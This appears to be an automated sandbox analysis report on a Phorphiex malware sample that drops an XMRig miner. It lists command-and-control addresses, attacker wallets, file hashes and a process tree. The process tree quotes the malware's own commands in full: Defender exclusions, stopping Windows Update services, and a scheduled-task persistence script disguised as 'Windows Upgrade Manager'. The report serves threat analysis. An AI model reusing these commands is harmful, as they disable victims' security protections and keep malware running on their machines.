Resubmissions

12/08/2024, 15:00

240812-sdmc5a1amd 10

11/08/2024, 22:36

240811-2h7passckm 10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    11/08/2024, 22:36

General

  • Target

    73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe

  • Size

    2.6MB

  • MD5

    4880d653fe05521ce2bc23d8017c6f3e

  • SHA1

    0b00c10fd7c796f62d5ef95010f1fd448016b3f3

  • SHA256

    73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4

  • SHA512

    82ac91fe4d553f8cbb9c323bd1c7f26ff2cf8a007663c0536e938d57ec8392d7f97847bb7fa0477654fa4960a0e73f5428dc7621ce5152d1c8d085a20f4b9f15

  • SSDEEP

    49152:TSL5CzlMktoOxSO8N806RDnVyTG066LqS8IBUYyaLAH8MCpeELjW27c4inkRYROl:TSEzikGhLwyTG06i1oUv7Lj1OpvdsxJC

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

http://77.91.77.92/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes
  • mutex

    55a4er5wo

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Phorphiex payload 2 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 12 IoCs
  • Windows security modification 2 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1200
      • C:\Users\Admin\AppData\Local\Temp\73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe
        "C:\Users\Admin\AppData\Local\Temp\73781e5d1dec36623b34bea8869720423d535ceaad374873aa063e6902d7a7a4.exe"
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of WriteProcessMemory
        PID:348
        • C:\Users\Admin\AppData\Local\Temp\7964.exe
          "C:\Users\Admin\AppData\Local\Temp\7964.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2888
          • C:\Windows\sysmablsvr.exe
            C:\Windows\sysmablsvr.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Loads dropped DLL
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2740
            • C:\Users\Admin\AppData\Local\Temp\1385510682.exe
              C:\Users\Admin\AppData\Local\Temp\1385510682.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:572
            • C:\Users\Admin\AppData\Local\Temp\61212621.exe
              C:\Users\Admin\AppData\Local\Temp\61212621.exe
              5⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1808
              • C:\Windows\sysmysldrv.exe
                C:\Windows\sysmysldrv.exe
                6⤵
                • Modifies security service
                • Windows security bypass
                • Executes dropped EXE
                • Loads dropped DLL
                • Windows security modification
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: SetClipboardViewer
                • Suspicious use of WriteProcessMemory
                PID:2116
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2948
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2296
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3000
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop UsoSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:3012
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop WaaSMedicSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:800
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop wuauserv
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:2132
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop DoSvc
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:1072
                  • C:\Windows\SysWOW64\sc.exe
                    sc stop BITS
                    8⤵
                    • Launches sc.exe
                    • System Location Discovery: System Language Discovery
                    PID:316
                • C:\Users\Admin\AppData\Local\Temp\99338263.exe
                  C:\Users\Admin\AppData\Local\Temp\99338263.exe
                  7⤵
                  • Executes dropped EXE
                  PID:1716
                • C:\Users\Admin\AppData\Local\Temp\468832105.exe
                  C:\Users\Admin\AppData\Local\Temp\468832105.exe
                  7⤵
                  • Executes dropped EXE
                  PID:1812
                • C:\Users\Admin\AppData\Local\Temp\167605847.exe
                  C:\Users\Admin\AppData\Local\Temp\167605847.exe
                  7⤵
                  • Executes dropped EXE
                  PID:2984
            • C:\Users\Admin\AppData\Local\Temp\180688315.exe
              C:\Users\Admin\AppData\Local\Temp\180688315.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2064
              • C:\Users\Admin\AppData\Local\Temp\2023234227.exe
                C:\Users\Admin\AppData\Local\Temp\2023234227.exe
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:764
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2200
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
        2⤵
          PID:2084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1652
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1936
        • C:\Windows\System32\notepad.exe
          C:\Windows\System32\notepad.exe
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1552
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {F564096B-FA84-44BD-9A7F-BA0D9F871451} S-1-5-21-2958949473-3205530200-1453100116-1000:WHMFPZKA\Admin:Interactive:[1]
        1⤵
        • Loads dropped DLL
        PID:1676
        • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
          "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          PID:1116

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XOE8JA2WXFAQ12FH49CH.temp

        Filesize

        7KB

        MD5

        ed8ca6c5e6ec237712bc7a3a69740e25

        SHA1

        2eacb8d588096ab8c65627baa3f532d0fe4f1b49

        SHA256

        eb97252427d88d0c40d520f2c7df2f902fe33f2005e4c61c457c21f2b5c002ce

        SHA512

        f2f9ac6a7662bd762036a3e1a85aedc21920204cec12dbe620d3f1f89c23a9f6e573905c2190863cdc609bd380763950e3e84d361ebfc46d3d075e7609c952a7

      • C:\Users\Admin\tbtnds.dat

        Filesize

        3KB

        MD5

        8f585cfd4bcb25d0c06778ef82f37804

        SHA1

        3e7f6d52f672a3f17d7da0d2f141fcb44d621b0a

        SHA256

        9fe63f3bb2d7a142c208fe8e9978b8cc2a7de22cf5256fd60581bb461614d1be

        SHA512

        057a5c7985a9ccab37258b5f49a7bfe814b82e4bcddef200ab1ee19e78bc61c173821059e0b410cb3cb44c2dd55adc72300ed8b2908da596d64eb8ad36d1532a

      • \Users\Admin\AppData\Local\Temp\1385510682.exe

        Filesize

        7KB

        MD5

        af0622340ed8ba48efa92e0b2d9aca7b

        SHA1

        77e7181b4d4e6957cf13ba37f590cf219aac88cb

        SHA256

        7b7d433c6c204ed3bcd1ea74106592edfa1a30b6ef7bbc3ed21efcbadc51e526

        SHA512

        e1368c1c292789115b51cae549bd2d484dbc614eb3e57aa5fce324385d28e9fbddf60064b4c88237b38cded294d090d07c491b646651c45bcd6235630d94ef46

      • \Users\Admin\AppData\Local\Temp\180688315.exe

        Filesize

        10KB

        MD5

        4fe8dc617311f7b6a4b8ebe0b1e24090

        SHA1

        2bd9341f17c8c0c62e56e1863b1d2f9c43cb30e5

        SHA256

        5016e413b0c563efc920165e7235c9f2706808877668bd297b41435acc7aade4

        SHA512

        910a12fbaffd45b0f797a95c6678a32c4a27adbb7d1474f183f8863d310d31fbba17d5d747da87ac4a30dd7cb22c67a4d1c25b302ef0c3f6954d91a459c692db

      • \Users\Admin\AppData\Local\Temp\2023234227.exe

        Filesize

        5.4MB

        MD5

        41ab08c1955fce44bfd0c76a64d1945a

        SHA1

        2b9cb05f4de5d98c541d15175d7f0199cbdd0eea

        SHA256

        dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493

        SHA512

        38834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116

      • \Users\Admin\AppData\Local\Temp\61212621.exe

        Filesize

        92KB

        MD5

        be9388b42333b3d4e163b0ace699897b

        SHA1

        4e1109772eb9cb59c557380822166fe1664403bd

        SHA256

        d281e0a0f1e1073f2d290a7eb1f77bed4c210dbf83a0f4f4e22073f50faa843f

        SHA512

        5f887f1060b898c9a88745cde7cf509fdf42947ab8e5948b46c2df659468dc245b24d089bdbec0b314c40b83934698bf4b6feb8954e32810ff8f522aab0af19a

      • \Users\Admin\AppData\Local\Temp\7964.exe

        Filesize

        88KB

        MD5

        ababca6d12d96e8dd2f1d7114b406fae

        SHA1

        dcd9798e83ec688aacb3de8911492a232cb41a32

        SHA256

        a992920e64a64763f3dd8c2a431a0f5e56e5b3782a1496de92bc80ee71cca5ba

        SHA512

        b7fc70c176bdc74cf68b14e694f3e53142e64d39bd6d3e0f2e3a74ce3178ea606f92f760d21db69d72ae6677545a47c7bf390fb65cd5247a48e239f6ae8f7b8f

      • memory/764-86-0x000000001B640000-0x000000001B922000-memory.dmp

        Filesize

        2.9MB

      • memory/764-87-0x0000000002650000-0x0000000002658000-memory.dmp

        Filesize

        32KB

      • memory/772-90-0x000000013FEA0000-0x0000000140416000-memory.dmp

        Filesize

        5.5MB

      • memory/1116-108-0x000000013F140000-0x000000013F6B6000-memory.dmp

        Filesize

        5.5MB

      • memory/1552-109-0x0000000000230000-0x0000000000250000-memory.dmp

        Filesize

        128KB

      • memory/1552-114-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-116-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-117-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-120-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-133-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-134-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-139-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-140-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-143-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1552-144-0x0000000140000000-0x00000001407EF000-memory.dmp

        Filesize

        7.9MB

      • memory/1652-103-0x0000000001E40000-0x0000000001E48000-memory.dmp

        Filesize

        32KB

      • memory/1652-102-0x000000001B490000-0x000000001B772000-memory.dmp

        Filesize

        2.9MB